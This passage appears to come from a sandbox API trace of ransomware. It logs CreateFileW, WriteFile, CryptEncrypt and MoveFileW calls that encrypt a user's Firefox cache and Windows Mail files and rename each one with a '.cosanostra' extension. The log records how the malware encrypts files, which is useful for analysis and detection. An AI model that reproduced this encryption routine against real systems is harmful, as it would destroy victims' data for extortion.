halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0103.692] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png") returned 137 [0103.692] StrStrW (lpFirst="4cc87c1409819bf06f42b782d4902b2f.png", lpSrch=".txt") returned 0x0 [0103.750] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.750] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abed84, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abed84*=0x2800, lpOverlapped=0x0) returned 1 [0103.750] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.750] WriteFile (in: hFile=0x180, lpBuffer=0x2abedc4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed84, lpOverlapped=0x0 | out: lpBuffer=0x2abedc4*, lpNumberOfBytesWritten=0x2abed84*=0x4, lpOverlapped=0x0) returned 1 [0103.867] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed84, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed84*=0x30, lpOverlapped=0x0) returned 1 [0103.867] CloseHandle (hObject=0x180) returned 1 [0103.867] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png.cosanostra") returned 148 [0103.867] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png.cosanostra")) returned 1 [0103.870] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abedc0 | out: pbBuffer=0x2abedc0) returned 1 [0103.870] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abedb8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abedb8*=0x30) returned 1 [0103.870] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\7E0FEd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\23\\7e0fed01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0103.871] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\7E0FEd01") returned 109 [0103.871] StrStrW (lpFirst="7E0FEd01", lpSrch=".txt") returned 0x0 [0103.875] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.875] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abed7c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abed7c*=0x2800, lpOverlapped=0x0) returned 1 [0103.875] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.875] WriteFile (in: hFile=0x180, lpBuffer=0x2abedbc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed7c, lpOverlapped=0x0 | out: lpBuffer=0x2abedbc*, lpNumberOfBytesWritten=0x2abed7c*=0x4, lpOverlapped=0x0) returned 1 [0103.876] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed7c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed7c*=0x30, lpOverlapped=0x0) returned 1 [0103.876] CloseHandle (hObject=0x180) returned 1 [0103.876] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\7E0FEd01.cosanostra") returned 120 [0103.876] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\7E0FEd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\23\\7e0fed01"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\7E0FEd01.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\f\\23\\7e0fed01.cosanostra")) returned 1 [0103.879] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abedb8 | out: pbBuffer=0x2abedb8) returned 1 [0103.879] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abedb0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abedb0*=0x30) returned 1 [0103.880] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\885EEd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\e\\69\\885eed01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0103.880] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\885EEd01") returned 109 [0103.880] StrStrW (lpFirst="885EEd01", lpSrch=".txt") returned 0x0 [0103.892] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.892] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abed74, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abed74*=0x2800, lpOverlapped=0x0) returned 1 [0103.893] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.893] WriteFile (in: hFile=0x180, lpBuffer=0x2abedb4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed74, lpOverlapped=0x0 | out: lpBuffer=0x2abedb4*, lpNumberOfBytesWritten=0x2abed74*=0x4, lpOverlapped=0x0) returned 1 [0103.894] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed74, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed74*=0x30, lpOverlapped=0x0) returned 1 [0103.894] CloseHandle (hObject=0x180) returned 1 [0103.894] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\885EEd01.cosanostra") returned 120 [0103.894] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\885EEd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\e\\69\\885eed01"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\885EEd01.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\e\\69\\885eed01.cosanostra")) returned 1 [0103.898] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeda8 | out: pbBuffer=0x2abeda8) returned 1 [0103.898] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeda0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeda0*=0x30) returned 1 [0103.898] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\9DCB7d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\c\\e6\\9dcb7d01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0103.899] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\9DCB7d01") returned 109 [0103.899] StrStrW (lpFirst="9DCB7d01", lpSrch=".txt") returned 0x0 [0103.912] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.912] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abed64, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abed64*=0x2800, lpOverlapped=0x0) returned 1 [0103.912] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.912] WriteFile (in: hFile=0x180, lpBuffer=0x2abeda4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed64, lpOverlapped=0x0 | out: lpBuffer=0x2abeda4*, lpNumberOfBytesWritten=0x2abed64*=0x4, lpOverlapped=0x0) returned 1 [0104.045] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed64, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed64*=0x30, lpOverlapped=0x0) returned 1 [0104.045] CloseHandle (hObject=0x180) returned 1 [0104.045] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\9DCB7d01.cosanostra") returned 120 [0104.045] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\9DCB7d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\c\\e6\\9dcb7d01"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\9DCB7d01.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\c\\e6\\9dcb7d01.cosanostra")) returned 1 [0104.046] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeda8 | out: pbBuffer=0x2abeda8) returned 1 [0104.046] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abeda0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abeda0*=0x30) returned 1 [0104.046] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0104.047] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm") returned 91 [0104.047] StrStrW (lpFirst="Bears.htm", lpSrch=".txt") returned 0x0 [0104.048] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff01, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.048] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0x2abed64, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abed64*=0xff, lpOverlapped=0x0) returned 1 [0104.048] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.048] WriteFile (in: hFile=0x180, lpBuffer=0x2abeda4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed64, lpOverlapped=0x0 | out: lpBuffer=0x2abeda4*, lpNumberOfBytesWritten=0x2abed64*=0x4, lpOverlapped=0x0) returned 1 [0104.048] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed64, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed64*=0x30, lpOverlapped=0x0) returned 1 [0104.048] CloseHandle (hObject=0x180) returned 1 [0104.048] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.cosanostra") returned 102 [0104.048] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm.cosanostra")) returned 1 [0104.049] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeda0 | out: pbBuffer=0x2abeda0) returned 1 [0104.049] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed98*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed98*=0x30) returned 1 [0104.049] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.049] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeda0 | out: pbBuffer=0x2abeda0) returned 1 [0104.049] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed98*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed98*=0x30) returned 1 [0104.049] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.049] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed98 | out: pbBuffer=0x2abed98) returned 1 [0104.049] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed90*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed90*=0x30) returned 1 [0104.049] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\oeold.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0104.050] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml") returned 80 [0104.050] StrStrW (lpFirst="oeold.xml", lpSrch=".txt") returned 0x0 [0104.051] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffefc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.051] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2abed54, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abed54*=0x104, lpOverlapped=0x0) returned 1 [0104.051] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.051] WriteFile (in: hFile=0x180, lpBuffer=0x2abed94*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed54, lpOverlapped=0x0 | out: lpBuffer=0x2abed94*, lpNumberOfBytesWritten=0x2abed54*=0x4, lpOverlapped=0x0) returned 1 [0104.051] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed54, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed54*=0x30, lpOverlapped=0x0) returned 1 [0104.051] CloseHandle (hObject=0x180) returned 1 [0104.051] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml.cosanostra") returned 91 [0104.051] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\oeold.xml"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\oeold.xml.cosanostra")) returned 1 [0104.052] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed98 | out: pbBuffer=0x2abed98) returned 1 [0104.052] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed90*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed90*=0x30) returned 1 [0104.052] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edbres00002.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0104.053] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs") returned 86 [0104.053] StrStrW (lpFirst="edbres00002.jrs", lpSrch=".txt") returned 0x0 [0104.217] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.217] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abed54, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x2abed54*=0x2800, lpOverlapped=0x0) returned 1 [0104.217] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.217] WriteFile (in: hFile=0x180, lpBuffer=0x2abed94*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed54, lpOverlapped=0x0 | out: lpBuffer=0x2abed94*, lpNumberOfBytesWritten=0x2abed54*=0x4, lpOverlapped=0x0) returned 1 [0104.219] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed54, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed54*=0x30, lpOverlapped=0x0) returned 1 [0104.219] CloseHandle (hObject=0x180) returned 1 [0104.252] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs.cosanostra") returned 97 [0104.252] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edbres00002.jrs"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edbres00002.jrs.cosanostra")) returned 1 [0104.254] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed90 | out: pbBuffer=0x2abed90) returned 1 [0104.254] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abed88*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abed88*=0x30) returned 1 [0104.254] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\windowsmail.msmessagestore"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0104.255] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore") returned 108 [0104.255] StrStrW (lpFirst="WindowsMail.MSMessageStore", lpSrch=".txt") returned 0x0 [0104.354] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.354] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abed4c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abed4c*=0x2800, lpOverlapped=0x0) returned 1 [0104.355] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.355] WriteFile (in: hFile=0x180, lpBuffer=0x2abed8c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abed4c, lpOverlapped=0x0 | out: lpBuffer=0x2abed8c*, lpNumberOfBytesWritten=0x2abed4c*=0x4, lpOverlapped=0x0) returned 1 [0104.356] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abed4c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abed4c*=0x30, lpOverlapped=0x0) returned 1 [0104.356] CloseHandle (hObject=0x180) returned 1 [0104.357] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore.cosanostra") returned 119 [0104.357] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\windowsmail.msmessagestore"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\WindowsMail.MSMessageStore.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\backup\\old\\windowsmail.msmessagestore.cosanostra")) returned 1 [0104.361] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abed88 | out: 